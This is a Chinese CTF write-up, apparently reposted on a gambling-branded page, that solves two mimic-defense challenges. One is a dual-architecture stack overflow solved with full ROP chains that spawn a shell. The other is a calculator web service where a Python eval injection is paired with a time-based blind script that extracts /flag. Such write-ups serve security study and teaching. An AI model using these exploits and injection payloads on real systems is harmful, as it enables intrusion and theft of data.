博猫娱乐拟态防御题型pwn&web初探_HUC惠仲娱乐

博猫娱乐

前言

拟态防御是什么,网上一搜就知道,在此不作详述了。想起一次见到拟态防御是在17年的工信部竞赛,当时知道肯定攻不破,连题目都没去打开。近期终于见到一些CTF比赛中出现拟态型的题目,题目不算太难,不过这种题型比较少见,特此记录一下。

pwn(强网杯 babymimic)

打开压缩包,发现竟然有两个二级制文件,先检查一下保护

[*] '/home/kira/pwn/qwb/_stkof'     Arch:     i386-32-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x8048000) [*] '/home/kira/pwn/qwb/__stkof'     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      No PIE (0x400000)

两个二进制文件,一个是32位,一个是64位,均为静态编译,漏洞也很明显,是一个简单粗暴的栈溢出。

伪代码如下:

int vul() {   char v1; // 32位[esp+Ch] [ebp-10Ch]  64位[rsp+0h] [rbp-110h]    setbuf(stdin, 0);   setbuf(stdout, 0);   j_memset_ifunc(&v1, 0, 256);   read(0, &v1, 0x300);   return puts(&v1); } 

因为这是一题拟态的pwn题,跟传统题型相比,加入了拟态的检查机制,大概原理是:题目会同时启动32位程序和64位程序,而我们的输入会分别传入这个两个进程,每个程序一份,然后题目会检测两个程序的输出,若两个程序的输出不一致或任一程序或者异常退出,则会被判断为check down,直接断开链接。只有两个程序的输入一致时,才能通过检查。因此,我们要做的就是构造一个payload,输入到32位程序和64位程序的时候,确保输出流完全一致,也就是用一个payload在32位程序和64位程序都能getshell。

如果不是拟态机制,这道题直接用ROPgadget生成ropchain就可以getshell,分分钟就被秒了。

#!/usr/bin/env python2         # execve generated by ROPgadget          from struct import pack          # Padding goes here         p = ''          p += pack('<I', 0x0806e9cb) # pop edx ; ret         p += pack('<I', 0x080d9060) # @ .data         p += pack('<I', 0x080a8af6) # pop eax ; ret         p += '/bin'         p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret         p += pack('<I', 0x0806e9cb) # pop edx ; ret         p += pack('<I', 0x080d9064) # @ .data + 4         p += pack('<I', 0x080a8af6) # pop eax ; ret         p += '//sh'         p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret         p += pack('<I', 0x0806e9cb) # pop edx ; ret         p += pack('<I', 0x080d9068) # @ .data + 8         p += pack('<I', 0x08056040) # xor eax, eax ; ret         p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret         p += pack('<I', 0x080481c9) # pop ebx ; ret         p += pack('<I', 0x080d9060) # @ .data         p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret         p += pack('<I', 0x080d9068) # @ .data + 8         p += pack('<I', 0x080d9060) # padding without overwrite ebx         p += pack('<I', 0x0806e9cb) # pop edx ; ret         p += pack('<I', 0x080d9068) # @ .data + 8         p += pack('<I', 0x08056040) # xor eax, eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x0807be5a) # inc eax ; ret         p += pack('<I', 0x080495a3) # int 0x80

但是,32位和64位的汇编码完全不同,函数调用方式也是不同,要如何构造一条payload同时在32位和64位程序getshell呢。出题人非常友好地留了一个漏洞点给我们,留意到32位程序的溢出长度是0x110,而64位程序的溢出长度是0x118,差了8字节,这就给了我们空间可以构造特殊payload。

思路是:填充完0x110字节后,32位程序会到达ret位置,可以寻找一些控制esp的gadget,跳过后面64位的ret到达ropchain,同理64位也能寻找这种gadget跳过32位的ropchain。使用ROPgadget查找可以控制sp的gadget,类似add sp, 0xc; ret,然后在payload中指定的位置放置ropchain。

非常幸运,找了两个大小合适的gadget,ROPgadget生成的ropchain注意需要修改一下,不然会导致输入过长,要控制payload的长度在0x300以内。

最后需要注意的是,vul函数结束时会调用puts,为保证输出相同,填充的垃圾数据要用\x00进行截断。

完整exp如下:

from struct import pack # 32bit ropchain rop32 = '' rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret rop32 += pack('<I', 0x080d9060) # @ .data rop32 += pack('<I', 0x080a8af6) # pop eax ; ret rop32 += '/bin' rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret rop32 += pack('<I', 0x080d9064) # @ .data + 4 rop32 += pack('<I', 0x080a8af6) # pop eax ; ret rop32 += '//sh' rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret rop32 += pack('<I', 0x080d9068) # @ .data + 8 rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret rop32 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret rop32 += pack('<I', 0x080481c9) # pop ebx ; ret rop32 += pack('<I', 0x080d9060) # @ .data rop32 += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret rop32 += pack('<I', 0x080d9068) # @ .data + 8 rop32 += pack('<I', 0x080d9060) # padding without overwrite ebx rop32 += pack('<I', 0x0806e9cb) # pop edx ; ret rop32 += pack('<I', 0x080d9068) # @ .data + 8 rop32 += pack('<I', 0x08056040) # xor eax, eax ; ret rop32 += pack('<I', 0x080a8af6) # pop eax ; ret rop32 += p32(0xb) rop32 += pack('<I', 0x080495a3) # int 0x80  # 64bit ropchain rop64 = '' rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret rop64 += pack('<Q', 0x00000000006a10e0) # @ .data rop64 += pack('<Q', 0x000000000043b97c) # pop rax ; ret rop64 += '/bin//sh' rop64 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8 rop64 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret rop64 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret rop64 += pack('<Q', 0x00000000004005f6) # pop rdi ; ret rop64 += pack('<Q', 0x00000000006a10e0) # @ .data rop64 += pack('<Q', 0x0000000000405895) # pop rsi ; ret rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8 rop64 += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret rop64 += pack('<Q', 0x00000000006a10e8) # @ .data + 8 rop64 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret rop64 += pack('<Q', 0x000000000043b97c) # pop rax ; ret rop64 += p64(0x3b) rop64 += pack('<Q', 0x0000000000461645) # syscall ; ret  # 32 gadget add_esp = 0x080a8f69 # add esp, 0xc ; ret  # 64 gadget add_rsp = 0x00000000004079d4 # add rsp, 0xd8 ; ret  payload = 'kira'.ljust(0x110,'\x00') + p64(add_esp) + p64(add_rsp) + rop32.ljust(0xd8,'\x00') + rop64 p.sendlineafter('try to pwn it?\n',payload) p.interactive() 

web (RCTF2019 Calcalcalc)

题目来RCTF2019,是一个拟态的web题。

题目简单分析

前端是一个next.js的网站,只能输入0-9a-z,加减乘除,空格,括号,同时检查输入长度。
有3个后端决策器,分别是php、node和python执行表达式,3个决策器会对输入进行运算,只有当3个决策器返回的结果一致时,才会输出结果。

例如输入1+1,可以得到结果{"ret":"2"}

观察后台的记录,3个决策器均返回了{"ret":"2"}

frontend_1        | [Nest] 16   - 06/16/2019, 6:06 AM   [AppController] Expression = "1+1" frontend_1        | [Nest] 16   - 06/16/2019, 6:06 AM   [AppController] Ret = [{"ret":"2"},{"ret":"2"},{"ret":"2"}]

输入eval(1+1),可以得到结果That's classified information. - Asahina Mikuru

观察后台的记录,决策器结果不一致,返回错误信息

frontend_1        | [Nest] 16   - 06/16/2019, 6:05 AM   [AppController] Expression = "eval(1+1)" frontend_1        | [Nest] 16   - 06/16/2019, 6:05 AM   [AppController] Ret = [{"ret":"2"},"Request failed with status code 500","Request failed with status code 500"]

源码分析

首先分析前端的代码,题目进行计算时往/calculate post表达式,可以在 app.controller.ts中看到对应的代码,3个IP为后台决策器

@Post('/calculate')   calculate(@Body() calculateModel: CalculateModel, @Res() res: Response) {     const serializedBson = bson.serialize(calculateModel);     const urls = ['10.0.20.11', '10.0.20.12', '10.0.20.13'];     bluebird.map(urls, async (url) => { 

fuzz的时候发现是有过滤的,表达式的输入过滤在expression.validator.ts,首先检查了输入长度,然后再检查输入内容,过滤大部分的命令执行需要用到的字符。

export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) {    return (object: Object, propertyName: string) => {         registerDecorator({             name: 'ExpressionValidator',             target: object.constructor,             propertyName,             constraints: [property],             options: validationOptions,             validator: {                 validate(value: any, args: ValidationArguments) {                   const str = value ? value.toString() : '';                   if (str.length === 0) {                     return false;                   }                   if (!(args.object as CalculateModel).isVip) {                     if (str.length >= args.constraints[0]) {                       return false;                     }                   }                   if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {                      return false;                   }                   return true;                 },             },         });    }; } 

默认参数在calculate.model.ts,默认输入最大长度为15,isVip默认是false

export default class CalculateModel {    @IsNotEmpty()   @ExpressionValidator(15, {     message: 'Invalid input',   })   public readonly expression: string;    @IsBoolean()   public readonly isVip: boolean = false; } 

那么长度限制可以通过,修改发送数据的类型进行绕过。提交json参数,修改isViptrue,Content-Type修改为application/json,这样可以跳过长度判断的语句。

flag在根目录,下一步需要考虑的是如何进行命令注入,由于nodejs不太熟悉,先看一下php和python。

php的决策器主函数index.php

<?php ob_start(); $input = file_get_contents('php://input'); $options = MongoDB\BSON\toPHP($input); $ret = eval('return ' . (string) $options->expression . ';'); echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]); 

linit.ini中限制了大量执行命令的函数,暂时想不到绕过的姿势

disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log max_execution_time = 1 

再看一下python的决策器主函数app.py,也是使用eval进行计算

@app.route("/", methods=["POST"]) def calculate():     data = request.get_data()     expr = bson.BSON(data).decode()      return bson.BSON.encode({       "ret": str(eval(str(expr['expression'])))     }) 

python可以用+进行字符串拼接,字符过滤可以用ascii编码绕过,绕过方法如下:

>>> eval(chr(0x31)+chr(0x2b)+chr(0x31)) # 1+1 2 

由于python的代码在php和nodejs中都是无法运行的,决策器的验证是不可能通过,因此不会有正常结果回显。虽然不会显示命令注入的回显,但是返回结果会等所有决策器返回运行结果后才发送响应包,因此可以使用时间盲注,逐字符进行爆破flag。

注入payload:__import__("time").sleep(2) if open("/flag").read()[0]=='f' else 1

决策器的返回结果,其中python决策器是第二个,从返回结果可以看到,可以使用布尔注入。

[Nest] 16   - 06/16/2019, 7:11 AM   [AppController] Ret = [{"ret":"timeout"},{"ret":"1"},"Request failed with status code 500"]    # False [Nest] 16   - 06/16/2019, 7:11 AM   [AppController] Ret = [{"ret":"timeout"},{"ret":"None"},"Request failed with status code 500"] # True

简单编写暴力爆破exp,提高效率也可以使用二分法爆破。

# -*- coding:utf-8 -*- import requests import json import string  header = { "Content-Type":"application/json"} url = "http://x.x.x.x:50004/calculate"  def foo(payload):     return "+".join(["chr(%d)"%ord(x) for x in payload])  flag = '' for i in range(20):     for j in string.letters + string.digits + '{_}':         exp = "__import__('time').sleep(3) if open('/flag').read()[%d]=='%s' else 1"%(i,j)         data = {             "expression": "eval(" + foo(exp) + ")",             "isVip":True         }         try:             r = requests.post(headers=header,url=url,data=json.dumps(data),timeout=2)             #print r.elapsed         except:             flag += j             print "[+] flag:",flag             break 

总结

拟态型的题目相信之后的比赛会更多的出现,这两题算是小试牛刀吧,期待之后比赛遇到的新题目。